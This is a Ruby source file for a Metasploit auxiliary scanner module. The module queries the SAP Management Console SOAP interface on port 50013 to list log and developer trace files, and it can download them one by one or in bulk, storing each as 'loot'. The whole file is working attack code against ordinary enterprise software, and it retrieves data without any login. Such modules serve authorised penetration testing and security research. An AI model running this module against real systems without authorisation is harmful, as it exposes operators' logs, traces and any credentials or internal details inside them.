##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'SAP Management Console Get Logfile',
			'Description'  => %q{
				This module simply attempts to download available logfiles and
				developer tracefiles through the SAP Management Console SOAP
				Interface. Please use the sap_mgmt_con_listlogfiles
				extension to view a list of available files.
				},
			'References'   =>
				[
					# General
					[ 'URL', 'http://blog.c22.cc' ]
				],
			'Author'       =>
				[	'Chris John Riley', # original msf module
					'Bruno Morisson <bm[at]integrity.pt>' # bulk file retrieval
				],
			'License'      => MSF_LICENSE
		)


		register_options(
			[
				Opt::RPORT(50013),
				OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
				OptString.new('RFILE', [ true, 'The name of the file to download ', 'sapstart.log']),
				OptEnum.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE', ['TRACEFILE','LOGFILE']]),
				OptBool.new('GETALL', [ false, 'Download all available files (WARNING: may take a long time!)', false])
			], self.class)
		register_autofilter_ports([ 50013 ])
		deregister_options('RHOST')
	end

	def rport
		datastore['RPORT']
	end

	def run_host(ip)
		res = send_request_cgi({
			'uri'      => normalize_uri(datastore['URI']),
			'method'   => 'GET'
		}, 25)

		if not res
			print_error("#{rhost}:#{rport} [SAP] Unable to connect")
			return
		end
		if datastore['GETALL']
			listfiles(ip)
		else
			gettfiles(rhost,"#{datastore['RFILE']}",'')
		end

	end

	def listfiles(rhost)
		print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
		success = false
		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
		xs = 'http://www.w3.org/2001/XMLSchema'
		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'

		case datastore['FILETYPE'].to_s
		when /^LOG/i
			ns1 = 'ns1:ListLogFiles'
		when /^TRACE/i
			ns1 = 'ns1:ListDeveloperTraces'
		else
			print_error("#{rhost}:#{rport} [SAP] unsupported filetype #{datastore['FILETYPE']}")
			return
		end

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
		data << '<SOAP-ENV:Header>' + "\r\n"
		data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
		data << '<enableSession>true</enableSession>' + "\r\n"
		data << '</sapsess:Session>' + "\r\n"
		data << '</SOAP-ENV:Header>' + "\r\n"
		data << '<SOAP-ENV:Body>' + "\r\n"
		data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		begin
			res = send_request_raw({
				'uri'      => normalize_uri(datastore['URI']),
				'method'   => 'POST',
				'data'     => data,
				'headers'  =>
					{
						'Content-Length' => data.length,
						'SOAPAction'     => '""',
						'Content-Type'   => 'text/xml; charset=UTF-8',
					}
			}, 30)

			env = []
			if res and res.code == 200
				case res.body
				when /<file>(.*)<\/file>/i
					body = []
					body = res.body
					env = body.scan(/<filename>(.*?)<\/filename><size>(.*?)<\/size><modtime>(.*?)<\/modtime>/i)
					success = true
				end
			elsif res and res.code == 500
				case res.body
				when /<faultstring>(.*)<\/faultstring>/i
					faultcode = $1.strip
					fault = true
				end
			end

		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
			return
		end

		if success
			print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}: #{env.length} files available")

			env.each do |output|
				gettfiles(rhost,output[0],output[1])
			end

			return

		elsif fault
			print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
			return

		else
			print_error("#{rhost}:#{rport} [SAP] failed to list files")
			return
		end
	end

	def gettfiles(rhost,logfile,filelen)
		if filelen
			print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (#{filelen} bytes)")
		else
			print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (size unknown)")
		end
		success = false

		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
		xs = 'http://www.w3.org/2001/XMLSchema'
		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'

		case datastore['FILETYPE'].to_s
		when /^LOG/i
			ns1 = 'ns1:ReadLogFile'
		when /^TRACE/i
			ns1 = 'ns1:ReadDeveloperTrace'
		else
			print_error("#{rhost}:#{rport} [SAP] unsupported filetype: #{datastore['FILETYPE']}")
			return
		end

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
		data << '<SOAP-ENV:Header>' + "\r\n"
		data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
		data << '<enableSession>true</enableSession>' + "\r\n"
		data << '</sapsess:Session>' + "\r\n"
		data << '</SOAP-ENV:Header>' + "\r\n"
		data << '<SOAP-ENV:Body>' + "\r\n"
		data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><filename>' + logfile + '</filename></' + ns1 + '>' + "\r\n"
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		begin
			res = send_request_raw({
				'uri'      => normalize_uri(datastore['URI']),
				'method'   => 'POST',
				'data'     => data,
				'headers'  =>
					{
						'Content-Length' => data.length,
						'SOAPAction'     => '""',
						'Content-Type'   => 'text/xml; charset=UTF-8',
					}
			}, 120)

			env = []

			if res and res.code == 200
				case res.body
				when /<item>([^<]+)<\/item>/i
					body = []
					body = res.body
					env = body.scan(/<item>([^<]+)<\/item>/i)
					success = true
				end

				case res.body
				when /<name>([^<]+)<\/name>/i
					name = $1.strip
					success = true
				end

			elsif res and res.code == 500
				case res.body
				when /<faultstring>(.*)<\/faultstring>/i
					faultcode = $1.strip
					fault = true
				end
			end

		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} [SAP] Unable to connect")
			return
		end

		if success
			print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{logfile.downcase} looted")
			addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
			p = store_loot(
				"sap.#{datastore['FILETYPE'].downcase}.file",
				"text/xml",
				addr,
				res.body,
				"sap_#{logfile.downcase}.xml",
				"SAP Get Logfile"
			)
			print_status("Logfile stored in: #{p}")
		elsif fault
			print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
			return
		else
			print_error("#{rhost}:#{rport} [SAP] failed to download file")
			return
		end
	end
end
